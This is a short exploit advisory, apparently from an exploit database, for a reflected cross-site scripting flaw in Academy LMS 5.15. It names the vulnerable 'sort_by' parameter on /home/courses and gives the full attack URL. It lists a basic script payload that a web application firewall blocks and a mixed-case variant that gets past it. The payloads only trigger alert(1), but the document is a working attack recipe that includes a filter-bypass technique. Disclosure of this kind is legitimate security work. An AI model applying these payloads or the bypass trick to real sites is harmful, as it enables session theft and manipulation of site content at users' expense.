Academy LMS 5.15 Cross Site Scripting

# Exploit Title: Academy LMS 5.15 - Reflected XSS# Exploit Author: CraCkEr# Date: 09/07/2023# Vendor: Creativeitem# Vendor Homepage: https://creativeitem.com/# Software Link: https://demo.creativeitem.com/academy/# Tested on: Windows 10 Pro# Impact: Manipulate the content of the site ## DescriptionAllow Attacker to inject malicious code into website, give ability to steal sensitiveinformation, manipulate data, and launch additional attacks.Path: /home/coursesGET parameter 'sort_by' is vulnerable to XSShttps://website/home/courses?category=photoshop&price=all&level=all&language=all&rating=all&sort_by=[XSS]Simple XSS Payload (Blocked by WAF) : <script>alert(1)</script> XSS Filter Bypass : ldt4d"><ScRiPt>alert(1)</ScRiPt>nuydd[-] Done